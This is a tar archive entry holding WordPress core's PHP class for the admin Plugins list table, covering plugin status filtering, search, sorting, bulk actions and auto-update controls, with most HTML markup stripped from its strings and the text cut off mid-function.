class-wp-plugins-list-table.php.tar000064400000144000152377531730013324 0ustar00home/quizenacom/public_html/wp-admin/includes/class-wp-plugins-list-table.php000064400000140650152377462110023470 0ustar00 'plugins', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $allowed_statuses = array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled' ); $status = 'all'; if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], $allowed_statuses, true ) ) { $status = $_REQUEST['plugin_status']; } if ( isset( $_REQUEST['s'] ) ) { $_SERVER['REQUEST_URI'] = add_query_arg( 's', wp_unslash( $_REQUEST['s'] ) ); } $page = $this->get_pagenum(); $this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'plugin' ) && current_user_can( 'update_plugins' ) && ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) && ! in_array( $status, array( 'mustuse', 'dropins' ), true ); } /** * @return array */ protected function get_table_classes() { return array( 'widefat', $this->_args['plural'] ); } /** * @return bool */ public function ajax_user_can() { return current_user_can( 'activate_plugins' ); } /** * @global string $status * @global array $plugins * @global array $totals * @global int $page * @global string $orderby * @global string $order * @global string $s */ public function prepare_items() { global $status, $plugins, $totals, $page, $orderby, $order, $s; wp_reset_vars( array( 'orderby', 'order' ) ); /** * Filters the full array of plugins to list in the Plugins list table. * * @since 3.0.0 * * @see get_plugins() * * @param array $all_plugins An array of plugins to display in the list table. */ $all_plugins = apply_filters( 'all_plugins', get_plugins() ); $plugins = array( 'all' => $all_plugins, 'search' => array(), 'active' => array(), 'inactive' => array(), 'recently_activated' => array(), 'upgrade' => array(), 'mustuse' => array(), 'dropins' => array(), 'paused' => array(), ); if ( $this->show_autoupdates ) { $auto_updates = (array) get_site_option( 'auto_update_plugins', array() ); $plugins['auto-update-enabled'] = array(); $plugins['auto-update-disabled'] = array(); } $screen = $this->screen; if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) { /** * Filters whether to display the advanced plugins list table. * * There are two types of advanced plugins - must-use and drop-ins - * which can be used in a single site or Multisite network. * * The $type parameter allows you to differentiate between the type of advanced * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'. * * @since 3.0.0 * * @param bool $show Whether to show the advanced plugins for the specified * plugin type. Default true. * @param string $type The plugin type. Accepts 'mustuse', 'dropins'. */ if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) { $plugins['mustuse'] = get_mu_plugins(); } /** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */ if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) { $plugins['dropins'] = get_dropins(); } if ( current_user_can( 'update_plugins' ) ) { $current = get_site_transient( 'update_plugins' ); foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) { if ( isset( $current->response[ $plugin_file ] ) ) { $plugins['all'][ $plugin_file ]['update'] = true; $plugins['upgrade'][ $plugin_file ] = $plugins['all'][ $plugin_file ]; } } } } if ( ! $screen->in_admin( 'network' ) ) { $show = current_user_can( 'manage_network_plugins' ); /** * Filters whether to display network-active plugins alongside plugins active for the current site. * * This also controls the display of inactive network-only plugins (plugins with * "Network: true" in the plugin header). * * Plugins cannot be network-activated or network-deactivated from this screen. * * @since 4.4.0 * * @param bool $show Whether to show network-active plugins. Default is whether the current * user can manage network plugins (ie. a Super Admin). */ $show_network_active = apply_filters( 'show_network_active_plugins', $show ); } if ( $screen->in_admin( 'network' ) ) { $recently_activated = get_site_option( 'recently_activated', array() ); } else { $recently_activated = get_option( 'recently_activated', array() ); } foreach ( $recently_activated as $key => $time ) { if ( $time + WEEK_IN_SECONDS < time() ) { unset( $recently_activated[ $key ] ); } } if ( $screen->in_admin( 'network' ) ) { update_site_option( 'recently_activated', $recently_activated ); } else { update_option( 'recently_activated', $recently_activated ); } $plugin_info = get_site_transient( 'update_plugins' ); foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) { // Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide. if ( isset( $plugin_info->response[ $plugin_file ] ) ) { $plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], array( 'update-supported' => true ), $plugin_data ); } elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) { $plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], array( 'update-supported' => true ), $plugin_data ); } elseif ( empty( $plugin_data['update-supported'] ) ) { $plugin_data['update-supported'] = false; } /* * Create the payload that's used for the auto_update_plugin filter. * This is the same data contained within $plugin_info->(response|no_update) however * not all plugins will be contained in those keys, this avoids unexpected warnings. */ $filter_payload = array( 'id' => $plugin_file, 'slug' => '', 'plugin' => $plugin_file, 'new_version' => '', 'url' => '', 'package' => '', 'icons' => array(), 'banners' => array(), 'banners_rtl' => array(), 'tested' => '', 'requires_php' => '', 'compatibility' => new stdClass(), ); $filter_payload = (object) wp_parse_args( $plugin_data, $filter_payload ); $auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, $filter_payload ); if ( ! is_null( $auto_update_forced ) ) { $plugin_data['auto-update-forced'] = $auto_update_forced; } $plugins['all'][ $plugin_file ] = $plugin_data; // Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade. if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) { $plugins['upgrade'][ $plugin_file ] = $plugin_data; } // Filter into individual sections. if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) { if ( $show_network_active ) { // On the non-network screen, show inactive network-only plugins if allowed. $plugins['inactive'][ $plugin_file ] = $plugin_data; } else { // On the non-network screen, filter out network-only plugins as long as they're not individually active. unset( $plugins['all'][ $plugin_file ] ); } } elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) { if ( $show_network_active ) { // On the non-network screen, show network-active plugins if allowed. $plugins['active'][ $plugin_file ] = $plugin_data; } else { // On the non-network screen, filter out network-active plugins. unset( $plugins['all'][ $plugin_file ] ); } } elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) ) || ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) { // On the non-network screen, populate the active list with plugins that are individually activated. // On the network admin screen, populate the active list with plugins that are network-activated. $plugins['active'][ $plugin_file ] = $plugin_data; if ( ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ) ) { $plugins['paused'][ $plugin_file ] = $plugin_data; } } else { if ( isset( $recently_activated[ $plugin_file ] ) ) { // Populate the recently activated list with plugins that have been recently activated. $plugins['recently_activated'][ $plugin_file ] = $plugin_data; } // Populate the inactive list with plugins that aren't activated. $plugins['inactive'][ $plugin_file ] = $plugin_data; } if ( $this->show_autoupdates ) { $enabled = in_array( $plugin_file, $auto_updates, true ) && $plugin_data['update-supported']; if ( isset( $plugin_data['auto-update-forced'] ) ) { $enabled = (bool) $plugin_data['auto-update-forced']; } if ( $enabled ) { $plugins['auto-update-enabled'][ $plugin_file ] = $plugin_data; } else { $plugins['auto-update-disabled'][ $plugin_file ] = $plugin_data; } } } if ( strlen( $s ) ) { $status = 'search'; $plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) ); } $totals = array(); foreach ( $plugins as $type => $list ) { $totals[ $type ] = count( $list ); } if ( empty( $plugins[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) { $status = 'all'; } $this->items = array(); foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) { // Translate, don't apply markup, sanitize HTML. $this->items[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true ); } $total_this_page = $totals[ $status ]; $js_plugins = array(); foreach ( $plugins as $key => $list ) { $js_plugins[ $key ] = array_keys( $list ); } wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'plugins' => $js_plugins, 'totals' => wp_get_update_data(), ) ); if ( ! $orderby ) { $orderby = 'Name'; } else { $orderby = ucfirst( $orderby ); } $order = strtoupper( $order ); uasort( $this->items, array( $this, '_order_callback' ) ); $plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 ); $start = ( $page - 1 ) * $plugins_per_page; if ( $total_this_page > $plugins_per_page ) { $this->items = array_slice( $this->items, $start, $plugins_per_page ); } $this->set_pagination_args( array( 'total_items' => $total_this_page, 'per_page' => $plugins_per_page, ) ); } /** * @global string $s URL encoded search term. * * @param array $plugin * @return bool */ public function _search_callback( $plugin ) { global $s; foreach ( $plugin as $value ) { if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) { return true; } } return false; } /** * @global string $orderby * @global string $order * @param array $plugin_a * @param array $plugin_b * @return int */ public function _order_callback( $plugin_a, $plugin_b ) { global $orderby, $order; $a = $plugin_a[ $orderby ]; $b = $plugin_b[ $orderby ]; if ( $a === $b ) { return 0; } if ( 'DESC' === $order ) { return strcasecmp( $b, $a ); } else { return strcasecmp( $a, $b ); } } /** * @global array $plugins */ public function no_items() { global $plugins; if ( ! empty( $_REQUEST['s'] ) ) { $s = esc_html( wp_unslash( $_REQUEST['s'] ) ); /* translators: %s: Plugin search term. */ printf( __( 'No plugins found for: %s.' ), '' . $s . '' ); // We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link. if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) { echo ' ' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . ''; } } elseif ( ! empty( $plugins['all'] ) ) { _e( 'No plugins found.' ); } else { _e( 'No plugins are currently available.' ); } } /** * Displays the search box. * * @since 4.6.0 * * @param string $text The 'submit' button label. * @param string $input_id ID attribute value for the search input field. */ public function search_box( $text, $input_id ) { if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) { return; } $input_id = $input_id . '-search-input'; if ( ! empty( $_REQUEST['orderby'] ) ) { echo ''; } if ( ! empty( $_REQUEST['order'] ) ) { echo ''; } ?> ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ? '' : '', 'name' => __( 'Plugin' ), 'description' => __( 'Description' ), ); if ( $this->show_autoupdates ) { $columns['auto-updates'] = __( 'Automatic Updates' ); } return $columns; } /** * @return array */ protected function get_sortable_columns() { return array(); } /** * @global array $totals * @global string $status * @return array */ protected function get_views() { global $totals, $status; $status_links = array(); foreach ( $totals as $type => $count ) { if ( ! $count ) { continue; } switch ( $type ) { case 'all': /* translators: %s: Number of plugins. */ $text = _nx( 'All (%s)', 'All (%s)', $count, 'plugins' ); break; case 'active': /* translators: %s: Number of plugins. */ $text = _n( 'Active (%s)', 'Active (%s)', $count ); break; case 'recently_activated': /* translators: %s: Number of plugins. */ $text = _n( 'Recently Active (%s)', 'Recently Active (%s)', $count ); break; case 'inactive': /* translators: %s: Number of plugins. */ $text = _n( 'Inactive (%s)', 'Inactive (%s)', $count ); break; case 'mustuse': /* translators: %s: Number of plugins. */ $text = _n( 'Must-Use (%s)', 'Must-Use (%s)', $count ); break; case 'dropins': /* translators: %s: Number of plugins. */ $text = _n( 'Drop-in (%s)', 'Drop-ins (%s)', $count ); break; case 'paused': /* translators: %s: Number of plugins. */ $text = _n( 'Paused (%s)', 'Paused (%s)', $count ); break; case 'upgrade': /* translators: %s: Number of plugins. */ $text = _n( 'Update Available (%s)', 'Update Available (%s)', $count ); break; case 'auto-update-enabled': /* translators: %s: Number of plugins. */ $text = _n( 'Auto-updates Enabled (%s)', 'Auto-updates Enabled (%s)', $count ); break; case 'auto-update-disabled': /* translators: %s: Number of plugins. */ $text = _n( 'Auto-updates Disabled (%s)', 'Auto-updates Disabled (%s)', $count ); break; } if ( 'search' !== $type ) { $status_links[ $type ] = sprintf( "%s", add_query_arg( 'plugin_status', $type, 'plugins.php' ), ( $type === $status ) ? ' class="current" aria-current="page"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * @global string $status * @return array */ protected function get_bulk_actions() { global $status; $actions = array(); if ( 'active' !== $status ) { $actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' ); } if ( 'inactive' !== $status && 'recent' !== $status ) { $actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' ); } if ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) { if ( current_user_can( 'update_plugins' ) ) { $actions['update-selected'] = __( 'Update' ); } if ( current_user_can( 'delete_plugins' ) && ( 'active' !== $status ) ) { $actions['delete-selected'] = __( 'Delete' ); } if ( $this->show_autoupdates ) { if ( 'auto-update-enabled' !== $status ) { $actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' ); } if ( 'auto-update-disabled' !== $status ) { $actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' ); } } } return $actions; } /** * @global string $status * @param string $which */ public function bulk_actions( $which = '' ) { global $status; if ( in_array( $status, array( 'mustuse', 'dropins' ), true ) ) { return; } parent::bulk_actions( $which ); } /** * @global string $status * @param string $which */ protected function extra_tablenav( $which ) { global $status; if ( ! in_array( $status, array( 'recently_activated', 'mustuse', 'dropins' ), true ) ) { return; } echo '
'; if ( 'recently_activated' === $status ) { submit_button( __( 'Clear List' ), '', 'clear-recent-list', false ); } elseif ( 'top' === $which && 'mustuse' === $status ) { echo '

' . sprintf( /* translators: %s: mu-plugins directory name. */ __( 'Files in the %s directory are executed automatically.' ), '' . str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) . '' ) . '

'; } elseif ( 'top' === $which && 'dropins' === $status ) { echo '

' . sprintf( /* translators: %s: wp-content directory name. */ __( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ), '' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '' ) . '

'; } echo '
'; } /** * @return string */ public function current_action() { if ( isset( $_POST['clear-recent-list'] ) ) { return 'clear-recent-list'; } return parent::current_action(); } /** * @global string $status */ public function display_rows() { global $status; if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ), true ) ) { return; } foreach ( $this->items as $plugin_file => $plugin_data ) { $this->single_row( array( $plugin_file, $plugin_data ) ); } } /** * @global string $status * @global int $page * @global string $s * @global array $totals * * @param array $item */ public function single_row( $item ) { global $status, $page, $s, $totals; static $plugin_id_attrs = array(); list( $plugin_file, $plugin_data ) = $item; $plugin_slug = isset( $plugin_data['slug'] ) ? $plugin_data['slug'] : sanitize_title( $plugin_data['Name'] ); $plugin_id_attr = $plugin_slug; // Ensure the ID attribute is unique. $suffix = 2; while ( in_array( $plugin_id_attr, $plugin_id_attrs, true ) ) { $plugin_id_attr = "$plugin_slug-$suffix"; $suffix++; } $plugin_id_attrs[] = $plugin_id_attr; $context = $status; $screen = $this->screen; // Pre-order. $actions = array( 'deactivate' => '', 'activate' => '', 'details' => '', 'delete' => '', ); // Do not restrict by default. $restrict_network_active = false; $restrict_network_only = false; $requires_php = isset( $plugin_data['RequiresPHP'] ) ? $plugin_data['RequiresPHP'] : null; $requires_wp = isset( $plugin_data['RequiresWP'] ) ? $plugin_data['RequiresWP'] : null; $compatible_php = is_php_version_compatible( $requires_php ); $compatible_wp = is_wp_version_compatible( $requires_wp ); if ( 'mustuse' === $context ) { $is_active = true; } elseif ( 'dropins' === $context ) { $dropins = _get_dropins(); $plugin_name = $plugin_file; if ( $plugin_file !== $plugin_data['Name'] ) { $plugin_name .= '
' . $plugin_data['Name']; } if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant. $is_active = true; $description = '

' . $dropins[ $plugin_file ][0] . '

'; } elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true. $is_active = true; $description = '

' . $dropins[ $plugin_file ][0] . '

'; } else { $is_active = false; $description = '

' . $dropins[ $plugin_file ][0] . ' ' . __( 'Inactive:' ) . ' ' . sprintf( /* translators: 1: Drop-in constant name, 2: wp-config.php */ __( 'Requires %1$s in %2$s file.' ), "define('" . $dropins[ $plugin_file ][1] . "', true);", 'wp-config.php' ) . '

'; } if ( $plugin_data['Description'] ) { $description .= '

' . $plugin_data['Description'] . '

'; } } else { if ( $screen->in_admin( 'network' ) ) { $is_active = is_plugin_active_for_network( $plugin_file ); } else { $is_active = is_plugin_active( $plugin_file ); $restrict_network_active = ( is_multisite() && is_plugin_active_for_network( $plugin_file ) ); $restrict_network_only = ( is_multisite() && is_network_only_plugin( $plugin_file ) && ! $is_active ); } if ( $screen->in_admin( 'network' ) ) { if ( $is_active ) { if ( current_user_can( 'manage_network_plugins' ) ) { $actions['deactivate'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=deactivate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'deactivate-plugin_' . $plugin_file ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Network Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Network Deactivate' ) ); } } else { if ( current_user_can( 'manage_network_plugins' ) ) { if ( $compatible_php && $compatible_wp ) { $actions['activate'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=activate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'activate-plugin_' . $plugin_file ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Network Activate %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Network Activate' ) ); } else { $actions['activate'] = sprintf( '%s', _x( 'Cannot Activate', 'plugin' ) ); } } if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) { $actions['delete'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=delete-selected&checked[]=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'bulk-plugins' ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Delete' ) ); } } } else { if ( $restrict_network_active ) { $actions = array( 'network_active' => __( 'Network Active' ), ); } elseif ( $restrict_network_only ) { $actions = array( 'network_only' => __( 'Network Only' ), ); } elseif ( $is_active ) { if ( current_user_can( 'deactivate_plugin', $plugin_file ) ) { $actions['deactivate'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=deactivate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'deactivate-plugin_' . $plugin_file ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Deactivate' ) ); } if ( current_user_can( 'resume_plugin', $plugin_file ) && is_plugin_paused( $plugin_file ) ) { $actions['resume'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=resume&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'resume-plugin_' . $plugin_file ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Resume %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Resume' ) ); } } else { if ( current_user_can( 'activate_plugin', $plugin_file ) ) { if ( $compatible_php && $compatible_wp ) { $actions['activate'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=activate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'activate-plugin_' . $plugin_file ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Activate %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Activate' ) ); } else { $actions['activate'] = sprintf( '%s', _x( 'Cannot Activate', 'plugin' ) ); } } if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) { $actions['delete'] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=delete-selected&checked[]=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'bulk-plugins' ), esc_attr( $plugin_id_attr ), /* translators: %s: Plugin name. */ esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ), __( 'Delete' ) ); } } // End if $is_active. } // End if $screen->in_admin( 'network' ). } // End if $context. $actions = array_filter( $actions ); if ( $screen->in_admin( 'network' ) ) { /** * Filters the action links displayed for each plugin in the Network Admin Plugins list table. * * @since 3.1.0 * * @param string[] $actions An array of plugin action links. By default this can include * 'activate', 'deactivate', and 'delete'. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $context The plugin context. By default this can include 'all', * 'active', 'inactive', 'recently_activated', 'upgrade', * 'mustuse', 'dropins', and 'search'. */ $actions = apply_filters( 'network_admin_plugin_action_links', $actions, $plugin_file, $plugin_data, $context ); /** * Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table. * * The dynamic portion of the hook name, `$plugin_file`, refers to the path * to the plugin file, relative to the plugins directory. * * @since 3.1.0 * * @param string[] $actions An array of plugin action links. By default this can include * 'activate', 'deactivate', and 'delete'. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $context The plugin context. By default this can include 'all', * 'active', 'inactive', 'recently_activated', 'upgrade', * 'mustuse', 'dropins', and 'search'. */ $actions = apply_filters( "network_admin_plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context ); } else { /** * Filters the action links displayed for each plugin in the Plugins list table. * * @since 2.5.0 * @since 2.6.0 The `$context` parameter was added. * @since 4.9.0 The 'Edit' link was removed from the list of action links. * * @param string[] $actions An array of plugin action links. By default this can include * 'activate', 'deactivate', and 'delete'. With Multisite active * this can also include 'network_active' and 'network_only' items. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $context The plugin context. By default this can include 'all', * 'active', 'inactive', 'recently_activated', 'upgrade', * 'mustuse', 'dropins', and 'search'. */ $actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context ); /** * Filters the list of action links displayed for a specific plugin in the Plugins list table. * * The dynamic portion of the hook name, `$plugin_file`, refers to the path * to the plugin file, relative to the plugins directory. * * @since 2.7.0 * @since 4.9.0 The 'Edit' link was removed from the list of action links. * * @param string[] $actions An array of plugin action links. By default this can include * 'activate', 'deactivate', and 'delete'. With Multisite active * this can also include 'network_active' and 'network_only' items. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $context The plugin context. By default this can include 'all', * 'active', 'inactive', 'recently_activated', 'upgrade', * 'mustuse', 'dropins', and 'search'. */ $actions = apply_filters( "plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context ); } $class = $is_active ? 'active' : 'inactive'; $checkbox_id = 'checkbox_' . md5( $plugin_file ); if ( $restrict_network_active || $restrict_network_only || in_array( $status, array( 'mustuse', 'dropins' ), true ) || ! $compatible_php ) { $checkbox = ''; } else { $checkbox = sprintf( '' . '', $checkbox_id, /* translators: %s: Plugin name. */ sprintf( __( 'Select %s' ), $plugin_data['Name'] ), esc_attr( $plugin_file ) ); } if ( 'dropins' !== $context ) { $description = '

' . ( $plugin_data['Description'] ? $plugin_data['Description'] : ' ' ) . '

'; $plugin_name = $plugin_data['Name']; } if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] ) || ! $compatible_php || ! $compatible_wp ) { $class .= ' update'; } $paused = ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ); if ( $paused ) { $class .= ' paused'; } if ( is_uninstallable_plugin( $plugin_file ) ) { $class .= ' is-uninstallable'; } printf( '', esc_attr( $class ), esc_attr( $plugin_slug ), esc_attr( $plugin_file ) ); list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info(); $auto_updates = (array) get_site_option( 'auto_update_plugins', array() ); $available_updates = get_site_transient( 'update_plugins' ); foreach ( $columns as $column_name => $column_display_name ) { $extra_classes = ''; if ( in_array( $column_name, $hidden, true ) ) { $extra_classes = ' hidden'; } switch ( $column_name ) { case 'cb': echo "$checkbox"; break; case 'name': echo "$plugin_name"; echo $this->row_actions( $actions, true ); echo ''; break; case 'description': $classes = 'column-description desc'; echo "
$description
"; $plugin_meta = array(); if ( ! empty( $plugin_data['Version'] ) ) { /* translators: %s: Plugin version number. */ $plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] ); } if ( ! empty( $plugin_data['Author'] ) ) { $author = $plugin_data['Author']; if ( ! empty( $plugin_data['AuthorURI'] ) ) { $author = '' . $plugin_data['Author'] . ''; } /* translators: %s: Plugin author name. */ $plugin_meta[] = sprintf( __( 'By %s' ), $author ); } // Details link using API info, if available. if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) { $plugin_meta[] = sprintf( '%s', esc_url( network_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] . '&TB_iframe=true&width=600&height=550' ) ), /* translators: %s: Plugin name. */ esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ), esc_attr( $plugin_name ), __( 'View details' ) ); } elseif ( ! empty( $plugin_data['PluginURI'] ) ) { /* translators: %s: Plugin name. */ $aria_label = sprintf( __( 'Visit plugin site for %s' ), $plugin_name ); $plugin_meta[] = sprintf( '%s', esc_url( $plugin_data['PluginURI'] ), esc_attr( $aria_label ), __( 'Visit plugin site' ) ); } /** * Filters the array of row meta for each plugin in the Plugins list table. * * @since 2.8.0 * * @param string[] $plugin_meta An array of the plugin's metadata, including * the version, author, author URI, and plugin URI. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data { * An array of plugin data. * * @type string $id Plugin ID, e.g. `w.org/plugins/[plugin-name]`. * @type string $slug Plugin slug. * @type string $plugin Plugin basename. * @type string $new_version New plugin version. * @type string $url Plugin URL. * @type string $package Plugin update package URL. * @type string[] $icons An array of plugin icon URLs. * @type string[] $banners An array of plugin banner URLs. * @type string[] $banners_rtl An array of plugin RTL banner URLs. * @type string $requires The version of WordPress which the plugin requires. * @type string $tested The version of WordPress the plugin is tested against. * @type string $requires_php The version of PHP which the plugin requires. * @type string $upgrade_notice The upgrade notice for the new plugin version. * @type bool $update-supported Whether the plugin supports updates. * @type string $Name The human-readable name of the plugin. * @type string $PluginURI Plugin URI. * @type string $Version Plugin version. * @type string $Description Plugin description. * @type string $Author Plugin author. * @type string $AuthorURI Plugin author URI. * @type string $TextDomain Plugin textdomain. * @type string $DomainPath Relative path to the plugin's .mo file(s). * @type bool $Network Whether the plugin can only be activated network-wide. * @type string $RequiresWP The version of WordPress which the plugin requires. * @type string $RequiresPHP The version of PHP which the plugin requires. * @type string $UpdateURI ID of the plugin for update purposes, should be a URI. * @type string $Title The human-readable title of the plugin. * @type string $AuthorName Plugin author's name. * @type bool $update Whether there's an available update. Default null. * } * @param string $status Status filter currently applied to the plugin list. Possible * values are: 'all', 'active', 'inactive', 'recently_activated', * 'upgrade', 'mustuse', 'dropins', 'search', 'paused', * 'auto-update-enabled', 'auto-update-disabled'. */ $plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status ); echo implode( ' | ', $plugin_meta ); echo '
'; if ( $paused ) { $notice_text = __( 'This plugin failed to load properly and is paused during recovery mode.' ); printf( '

%s

', $notice_text ); $error = wp_get_plugin_error( $plugin_file ); if ( false !== $error ) { printf( '

%s

', wp_get_extension_error_description( $error ) ); } } echo ''; break; case 'auto-updates': if ( ! $this->show_autoupdates ) { break; } echo ""; $html = array(); if ( isset( $plugin_data['auto-update-forced'] ) ) { if ( $plugin_data['auto-update-forced'] ) { // Forced on. $text = __( 'Auto-updates enabled' ); } else { $text = __( 'Auto-updates disabled' ); } $action = 'unavailable'; $time_class = ' hidden'; } elseif ( empty( $plugin_data['update-supported'] ) ) { $text = ''; $action = 'unavailable'; $time_class = ' hidden'; } elseif ( in_array( $plugin_file, $auto_updates, true ) ) { $text = __( 'Disable auto-updates' ); $action = 'disable'; $time_class = ''; } else { $text = __( 'Enable auto-updates' ); $action = 'enable'; $time_class = ' hidden'; } $query_args = array( 'action' => "{$action}-auto-update", 'plugin' => $plugin_file, 'paged' => $page, 'plugin_status' => $status, ); $url = add_query_arg( $query_args, 'plugins.php' ); if ( 'unavailable' === $action ) { $html[] = '' . $text . ''; } else { $html[] = sprintf( '', wp_nonce_url( $url, 'updates' ), $action ); $html[] = ''; $html[] = '' . $text . ''; $html[] = ''; } if ( ! empty( $plugin_data['update'] ) ) { $html[] = sprintf( '
%s
